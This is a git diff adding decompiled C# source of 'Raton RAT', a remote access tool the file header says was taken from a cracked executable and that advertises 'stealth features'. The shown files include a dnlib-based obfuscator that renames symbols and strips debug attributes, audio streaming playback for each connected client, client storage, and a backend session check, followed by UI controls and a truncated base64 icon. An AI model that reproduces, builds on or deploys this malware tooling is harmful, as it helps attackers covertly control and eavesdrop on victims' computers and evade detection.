"windows\\clientfolders.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T18:13:32.722Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 2, + "Title": "Credits.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Credits.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs", + "RelativeToolTip": "Raton\\Windows\\Credits.cs", + "ViewState": "AgIAACEAAAAAAAAAAAD4v0IAAAAcAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:13:29.117Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}" + }, + { + "$type": "Document", + "DocumentIndex": 14, + "Title": "ClientFolders.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\ClientFolders.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs", + "RelativeToolTip": "Raton\\Windows\\ClientFolders.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAB4AAAANAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:13:30.405Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 4, + "Title": "MainWindow.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs", + "RelativeDocumentMoniker": "WpfApp1\\MainWindow.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs", + "RelativeToolTip": "WpfApp1\\MainWindow.cs", + "ViewState": "AgIAAOkBAAAAAAAAAAAjwAYCAAAEAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:50:36.45Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 6, + "Title": "plugintutorial.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml", + "RelativeDocumentMoniker": "windows\\plugintutorial.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml", + "RelativeToolTip": "windows\\plugintutorial.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:58:50.375Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 12, + "Title": "plugintutorial.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs", + "RelativeDocumentMoniker": "obj\\Debug\\windows\\plugintutorial.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs", + "RelativeToolTip": "obj\\Debug\\windows\\plugintutorial.g.cs", + "ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:14:20.678Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 16, + "Title": "about.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml", + "RelativeDocumentMoniker": "windows\\about.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml", + "RelativeToolTip": "windows\\about.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:59:24.563Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 15, + "Title": "port.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml", + "RelativeDocumentMoniker": "windows\\port.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml", + "RelativeToolTip": "windows\\port.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:58:56.381Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 19, + "Title": "preview.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml", + "RelativeDocumentMoniker": "windows\\preview.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml", + "RelativeToolTip": "windows\\preview.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": "2026-03-24T17:56:17.962Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 21, + "Title": "Port.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs", + "RelativeDocumentMoniker": "WpfApp1\\Windows\\Port.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs", + "RelativeToolTip": "WpfApp1\\Windows\\Port.cs", + "ViewState": "AgIAAEsAAAAAAAAAAAAcwEsAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:47:54.61Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 10, + "Title": "Settings.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Settings.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs", + "RelativeToolTip": "Raton\\Windows\\Settings.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAbAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:47:49.308Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 22, + "Title": "ratonCMD.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs", + "RelativeDocumentMoniker": "Raton\\Forms\\ratonCMD.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs", + "RelativeToolTip": "Raton\\Forms\\ratonCMD.cs", + "ViewState": "AgIAAGwAAAAAAAAAAAAcwIwAAAALAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:46:50.752Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 23, + "Title": "AGObfuscator.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs", + "RelativeDocumentMoniker": "AGObfuscator.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs", + "RelativeToolTip": "AGObfuscator.cs", + "ViewState": "AgIAAA4AAAAAAAAAAAAQwE8AAAAvAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:43:46.558Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Raton RAT/AGObfuscator.cs b/Raton RAT/AGObfuscator.cs new file mode 100644 index 0000000..7ed2024 --- /dev/null +++ b/Raton RAT/AGObfuscator.cs @@ -0,0 +1,133 @@ +// Decompiled with JetBrains decompiler +// Type: AGObfuscator +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using dnlib.DotNet; +using System; +using System.Linq; +using System.Text; + +#nullable disable +public class AGObfuscator +{ + private int counter; + private readonly Random rng = new Random(); + private const string SafeCharset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + public AGObfuscator(ModuleDef module) + { + if (module == null) + throw new ArgumentNullException(nameof (module)); + this.Execute(module); + } + + private void Execute(ModuleDef module) + { + this.RemoveDebugAttributes(module); + module.Name = (UTF8String) this.GenerateName(); + foreach (TypeDef type in module.GetTypes()) + { + if (this.CanRenameType(type, module)) + { + type.Namespace = (UTF8String) this.GenerateName(); + type.Name = (UTF8String) this.GenerateName(); + foreach (FieldDef fieldDef in type.Fields.Where(new Func(this.CanRenameField))) + fieldDef.Name = (UTF8String) this.GenerateName(); + foreach (MethodDef methodDef in type.Methods.Where((Func) (m => this.CanRenameMethod(m, module)))) + { + methodDef.Name = (UTF8String) this.GenerateName(); + foreach (Parameter parameter in methodDef.Parameters) + { + if (!parameter.IsHiddenThisParameter) + parameter.Name = this.GenerateName(4, 4); + } + } + foreach (PropertyDef propertyDef in type.Properties.Where(new Func(this.CanRenameProperty))) + propertyDef.Name = (UTF8String) this.GenerateName(); + foreach (EventDef eventDef in type.Events.Where(new Func(this.CanRenameEvent))) + eventDef.Name = (UTF8String) this.GenerateName(); + } + } + } + + private string GenerateName(int min = 8, int extra = 6) + { + int num = min + this.rng.Next(extra); + StringBuilder stringBuilder = new StringBuilder(num + 4); + for (int index = 0; index < num; ++index) + stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[this.rng.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".Length)]); + stringBuilder.Append(this.counter++.ToString("x")); + return stringBuilder.ToString(); + } + + private bool CanRenameType(TypeDef t, ModuleDef module) + { + return !t.IsGlobalModuleType && !t.IsPublic && !t.IsInterface && !t.IsEnum && !t.IsValueType && module.EntryPoint?.DeclaringType != t && !this.InheritsFromUI(t) && !this.HasReflectionAttributes((IHasCustomAttribute) t) && !t.Methods.Any((Func) (m => m.IsVirtual)); + } + + private bool CanRenameMethod(MethodDef m, ModuleDef module) + { + return m.HasBody && !m.IsPublic && !m.IsFamily && !m.IsVirtual && !m.IsAbstract && !m.IsConstructor && !m.IsStaticConstructor && m != module.EntryPoint && m.ImplMap == null && !this.HasReflectionAttributes((IHasCustomAttribute) m); + } + + private bool CanRenameField(FieldDef f) + { + return !f.IsPublic && !f.IsFamily && !f.IsLiteral && !f.IsInitOnly; + } + + private bool CanRenameProperty(PropertyDef p) + { + return !this.IsPropertyPublic(p) && !this.HasReflectionAttributes((IHasCustomAttribute) p); + } + + private bool CanRenameEvent(EventDef e) + { + return !this.IsEventPublic(e) && !this.HasReflectionAttributes((IHasCustomAttribute) e); + } + + private bool HasReflectionAttributes(IHasCustomAttribute m) + { + return m.CustomAttributes.Any((Func) (a => + { + string typeFullName = a.TypeFullName; + return typeFullName.Contains("Json") || typeFullName.Contains("Xml") || typeFullName.Contains("Serializable") || typeFullName.Contains("DataContract") || typeFullName.Contains("Reflection") || typeFullName.Contains("Designer") || typeFullName.Contains("ComVisible"); + })); + } + + private bool InheritsFromUI(TypeDef t) + { + string fullName = t.BaseType?.FullName; + if (fullName == null) + return false; + return fullName.Contains("Form") || fullName.Contains("Control") || fullName.Contains("UserControl") || fullName.Contains("Window"); + } + + private bool IsPropertyPublic(PropertyDef p) + { + MethodDef getMethod = p.GetMethod; + if ((getMethod != null ? (getMethod.IsPublic ? 1 : 0) : 0) != 0) + return true; + MethodDef setMethod = p.SetMethod; + return setMethod != null && setMethod.IsPublic; + } + + private bool IsEventPublic(EventDef e) + { + MethodDef addMethod = e.AddMethod; + if ((addMethod != null ? (addMethod.IsPublic ? 1 : 0) : 0) != 0) + return true; + MethodDef removeMethod = e.RemoveMethod; + return removeMethod != null && removeMethod.IsPublic; + } + + private void RemoveDebugAttributes(ModuleDef module) + { + for (int index = module.CustomAttributes.Count - 1; index >= 0; --index) + { + if (module.CustomAttributes[index].TypeFullName.Contains("Debuggable")) + module.CustomAttributes.RemoveAt(index); + } + } +} diff --git a/Raton RAT/AssemblyInfo.cs b/Raton RAT/AssemblyInfo.cs new file mode 100644 index 0000000..f3e46f5 --- /dev/null +++ b/Raton RAT/AssemblyInfo.cs @@ -0,0 +1,18 @@ +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Permissions; +using System.Windows; + +[assembly: AssemblyTitle("Raton")] +[assembly: AssemblyDescription("A fast, customizable remote access tool with advanced client management and stealth features.")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("S-illy")] +[assembly: AssemblyProduct("Raton Access Tool")] +[assembly: AssemblyCopyright("Copyright © S-illy 2026")] +[assembly: AssemblyTrademark("S-illy")] +[assembly: ComVisible(false)] +[assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)] +[assembly: AssemblyFileVersion("0.4.0.0")] +[assembly: AssemblyVersion("0.4.0.0")] +[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/Raton RAT/AudioDispatch.cs b/Raton RAT/AudioDispatch.cs new file mode 100644 index 0000000..7816603 --- /dev/null +++ b/Raton RAT/AudioDispatch.cs @@ -0,0 +1,62 @@ +// Decompiled with JetBrains decompiler +// Type: AudioDispatch +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Collections.Concurrent; +using System.Threading; + +#nullable disable +public static class AudioDispatch +{ + private static readonly ConcurrentQueue<(string uid, byte[] data, int length)> queue = new ConcurrentQueue<(string, byte[], int)>(); + private static readonly AutoResetEvent signal = new AutoResetEvent(false); + private static readonly Thread audioThread = new Thread(new ThreadStart(AudioDispatch.Loop)) + { + IsBackground = true, + Name = nameof (AudioDispatch) + }; + + static AudioDispatch() => AudioDispatch.audioThread.Start(); + + public static void Enqueue(string uid, byte[] data, int length) + { + if (data == null || length <= 0 || length > data.Length) + return; + byte[] dst = new byte[length]; + Buffer.BlockCopy((Array) data, 0, (Array) dst, 0, length); + AudioDispatch.queue.Enqueue((uid, dst, length)); + AudioDispatch.signal.Set(); + } + + private static void Loop() + { +label_0: + try + { + AudioDispatch.signal.WaitOne(); + while (true) + { + (string uid, byte[] data, int length) result; + if (AudioDispatch.queue.TryDequeue(out result)) + { + try + { + AudioPlayer.Play(result.uid, result.data, result.length); + } + catch (Exception ex) + { + } + } + else + goto label_0; + } + } + catch (Exception ex) + { + Console.WriteLine("Error"); + } + } +} diff --git a/Raton RAT/AudioPlayer.cs b/Raton RAT/AudioPlayer.cs new file mode 100644 index 0000000..3972f73 --- /dev/null +++ b/Raton RAT/AudioPlayer.cs @@ -0,0 +1,91 @@ +// Decompiled with JetBrains decompiler +// Type: AudioPlayer +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using NAudio.Wave; +using NAudio.Wave.SampleProviders; +using System; +using System.Collections.Generic; + +#nullable disable +public static class AudioPlayer +{ + private static readonly Dictionary streams = new Dictionary(); + private static readonly object lockObj = new object(); + private static readonly WaveFormat format = new WaveFormat(44100, 16 /*0x10*/, 1); + + public static void Play(string uid, byte[] data, int length) + { + lock (AudioPlayer.lockObj) + { + AudioPlayer.AudioStream audioStream; + if (!AudioPlayer.streams.TryGetValue(uid, out audioStream)) + { + try + { + audioStream = new AudioPlayer.AudioStream() + { + Buffer = new BufferedWaveProvider(AudioPlayer.format) + { + BufferDuration = TimeSpan.FromSeconds(20.0), + DiscardOnBufferOverflow = true + }, + Mixer = new MixingSampleProvider(WaveFormat.CreateIeeeFloatWaveFormat(AudioPlayer.format.SampleRate, AudioPlayer.format.Channels)) + { + ReadFully = true + } + }; + audioStream.SampleProvider = new Wave16ToFloatProvider((IWaveProvider) audioStream.Buffer).ToSampleProvider(); + audioStream.Mixer.AddMixerInput(audioStream.SampleProvider); + audioStream.Output = new WaveOutEvent() + { + DesiredLatency = 100 + }; + audioStream.Output.Init((ISampleProvider) audioStream.Mixer); + audioStream.Output.Play(); + AudioPlayer.streams[uid] = audioStream; + } + catch (Exception ex) + { + return; + } + } + try + { + audioStream.Buffer.AddSamples(data, 0, length); + } + catch (Exception ex) + { + } + } + } + + public static void Remove(string uid) + { + lock (AudioPlayer.lockObj) + { + AudioPlayer.AudioStream audioStream; + if (!AudioPlayer.streams.TryGetValue(uid, out audioStream)) + return; + try + { + audioStream.Output?.Stop(); + audioStream.Output?.Dispose(); + } + catch + { + } + AudioPlayer.streams.Remove(uid); + } + } + + private class AudioStream + { + public BufferedWaveProvider Buffer; + public ISampleProvider SampleProvider; + public MixingSampleProvider Mixer; + public WaveOutEvent Output; + } +} diff --git a/Raton RAT/ClientStorage.cs b/Raton RAT/ClientStorage.cs new file mode 100644 index 0000000..9e1a317 --- /dev/null +++ b/Raton RAT/ClientStorage.cs @@ -0,0 +1,51 @@ +// Decompiled with JetBrains decompiler +// Type: ClientStorage +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.Json; +using WpfApp1; + +#nullable disable +public static class ClientStorage +{ + private static string FilePath = Path.Combine(MainWindow.appData, "clients.json"); + public static List Clients = new List(); + + public static void Load() + { + if (!Directory.Exists(MainWindow.appData)) + Directory.CreateDirectory(MainWindow.appData); + if (!File.Exists(ClientStorage.FilePath)) + ClientStorage.Clients = new List(); + else + ClientStorage.Clients = JsonSerializer.Deserialize>(File.ReadAllText(ClientStorage.FilePath)) ?? new List(); + } + + public static void Save() + { + if (!Directory.Exists(MainWindow.appData)) + Directory.CreateDirectory(MainWindow.appData); + string contents = JsonSerializer.Serialize>(ClientStorage.Clients, new JsonSerializerOptions() + { + WriteIndented = true + }); + File.WriteAllText(ClientStorage.FilePath, contents); + } + + public static void Add(StoredClient client) + { + ClientStorage.Clients.Add(client); + ClientStorage.Save(); + } + + public static void DeleteUID(string uid) + { + ClientStorage.Clients.RemoveAll((Predicate) (x => x.UID == uid)); + ClientStorage.Save(); + } +} diff --git a/Raton RAT/CountryLocation.cs b/Raton RAT/CountryLocation.cs new file mode 100644 index 0000000..8650266 --- /dev/null +++ b/Raton RAT/CountryLocation.cs @@ -0,0 +1,56 @@ +// Decompiled with JetBrains decompiler +// Type: CountryLocation +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using Newtonsoft.Json.Linq; +using Raton.Classes; +using RatonBack; +using System; +using System.Net.Http; +using System.Threading.Tasks; +using System.Windows; + +#nullable disable +public static class CountryLocation +{ + private static readonly HttpClient http = new HttpClient() + { + Timeout = TimeSpan.FromSeconds(5.0) + }; + + private static async void clientInformation() + { + try + { + int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0; + } + catch (Exception ex) + { + int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand); + Environment.Exit(0); + } + } + + public static async Task<(double Lat, double Lon)?> GetCapitalCoordinatesAsync(string countryName) + { + try + { + string requestUri = "https://restcountries.com/v3.1/name/" + Uri.EscapeDataString(countryName); + JArray jarray = JArray.Parse(await CountryLocation.http.GetStringAsync(requestUri)); + if (jarray.Count > 0) + { + JToken jtoken = jarray[0][(object) "capitalInfo"]; + if (jtoken?[(object) "latlng"] != null) + return new (double, double)?(((double) jtoken[(object) "latlng"][(object) 0], (double) jtoken[(object) "latlng"][(object) 1])); + CountryLocation.clientInformation(); + } + CountryLocation.clientInformation(); + } + catch + { + } + return new (double, double)?(); + } +} diff --git a/Raton RAT/CustomControls/CustomSwitch.cs b/Raton RAT/CustomControls/CustomSwitch.cs new file mode 100644 index 0000000..24e33de --- /dev/null +++ b/Raton RAT/CustomControls/CustomSwitch.cs @@ -0,0 +1,187 @@ +// Decompiled with JetBrains decompiler +// Type: CustomControls.CustomSwitch +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Threading.Tasks; +using System.Windows.Forms; + +#nullable disable +namespace CustomControls; + +public class CustomSwitch : CheckBox +{ + private Color onBackColor = ColorTranslator.FromHtml("#69f58e"); + private Color onToggleColor = Color.WhiteSmoke; + private Color offBackColor = Color.Gray; + private Color offToggleColor = Color.Gainsboro; + private bool solidStyle = true; + private float togglePosition; + private bool isChecked; + + [Category("Custom")] + public Color OnBackColor + { + get => this.onBackColor; + set + { + this.onBackColor = value; + this.Invalidate(); + } + } + + [Category("Custom")] + public Color OnToggleColor + { + get => this.onToggleColor; + set + { + this.onToggleColor = value; + this.Invalidate(); + } + } + + [Category("Custom")] + public Color OffBackColor + { + get => this.offBackColor; + set + { + this.offBackColor = value; + this.Invalidate(); + } + } + + [Category("Custom")] + public Color OffToggleColor + { + get => this.offToggleColor; + set + { + this.offToggleColor = value; + this.Invalidate(); + } + } + + [Browsable(false)] + public override string Text + { + get => base.Text; + set + { + } + } + + [Category("Custom")] + [DefaultValue(true)] + public bool SolidStyle + { + get => this.solidStyle; + set + { + this.solidStyle = value; + this.Invalidate(); + } + } + + public new event EventHandler CheckedChanged; + + [Category("Custom")] + [DefaultValue(false)] + public new bool Checked + { + get => this.isChecked; + set + { + if (this.isChecked == value) + return; + this.isChecked = value; + this.AnimateToggle(); + this.Invalidate(); + EventHandler checkedChanged = this.CheckedChanged; + if (checkedChanged == null) + return; + checkedChanged((object) this, EventArgs.Empty); + } + } + + public CustomSwitch() + { + this.MinimumSize = new Size(45, 22); + this.togglePosition = 2f; + this.isChecked = false; + } + + private GraphicsPath GetFigurePath() + { + int num = this.Height - 1; + Rectangle rect1 = new Rectangle(0, 0, num, num); + Rectangle rect2 = new Rectangle(this.Width - num - 2, 0, num, num); + GraphicsPath figurePath = new GraphicsPath(); + figurePath.StartFigure(); + figurePath.AddArc(rect1, 90f, 180f); + figurePath.AddArc(rect2, 270f, 180f); + figurePath.CloseFigure(); + return figurePath; + } + + protected override void OnPaint(PaintEventArgs pevent) + { + int num = this.Height - 5; + pevent.Graphics.SmoothingMode = SmoothingMode.AntiAlias; + pevent.Graphics.Clear(this.Parent.BackColor); + bool flag = !this.Enabled; + Color color1; + Color color2; + if (this.isChecked) + { + color1 = this.onBackColor; + color2 = this.onToggleColor; + } + else + { + color1 = this.offBackColor; + color2 = this.offToggleColor; + } + if (flag) + { + color1 = this.Darken(color1); + color2 = this.Darken(color2); + } + if (this.solidStyle) + pevent.Graphics.FillPath((Brush) new SolidBrush(color1), this.GetFigurePath()); + else + pevent.Graphics.DrawPath(new Pen(color1, 2f), this.GetFigurePath()); + pevent.Graphics.FillEllipse((Brush) new SolidBrush(color2), new Rectangle((int) this.togglePosition, 2, num, num)); + } + + private Color Darken(Color color, float factor = 0.35f) + { + return Color.FromArgb((int) color.A, (int) ((double) color.R * (double) factor), (int) ((double) color.G * (double) factor), (int) ((double) color.B * (double) factor)); + } + + protected override void OnClick(EventArgs e) + { + base.OnClick(e); + this.Checked = !this.Checked; + } + + private async void AnimateToggle() + { + CustomSwitch customSwitch = this; + int num = customSwitch.Checked ? 2 : customSwitch.Width - customSwitch.Height + 1; + int end = customSwitch.Checked ? customSwitch.Width - customSwitch.Height + 1 : 2; + int step = end > num ? 2 : -2; + for (int i = num; (step > 0 ? (i <= end ? 1 : 0) : (i >= end ? 1 : 0)) != 0; i += step) + { + customSwitch.togglePosition = (float) i; + customSwitch.Invalidate(); + await Task.Delay(5); + } + } +} diff --git a/Raton RAT/DarkModeForms/Base64Icons.cs b/Raton RAT/DarkModeForms/Base64Icons.cs new file mode 100644 index 0000000..a5a0978 --- /dev/null +++ b/Raton RAT/DarkModeForms/Base64Icons.cs @@ -0,0 +1,85 @@ +// Decompiled with JetBrains decompiler +// Type: DarkModeForms.Base64Icons +// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe + +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.IO; + +#nullable disable +namespace DarkModeForms; + +public class Base64Icons +{ + private List _Icons = new List() + { + new Base64Image("Info", "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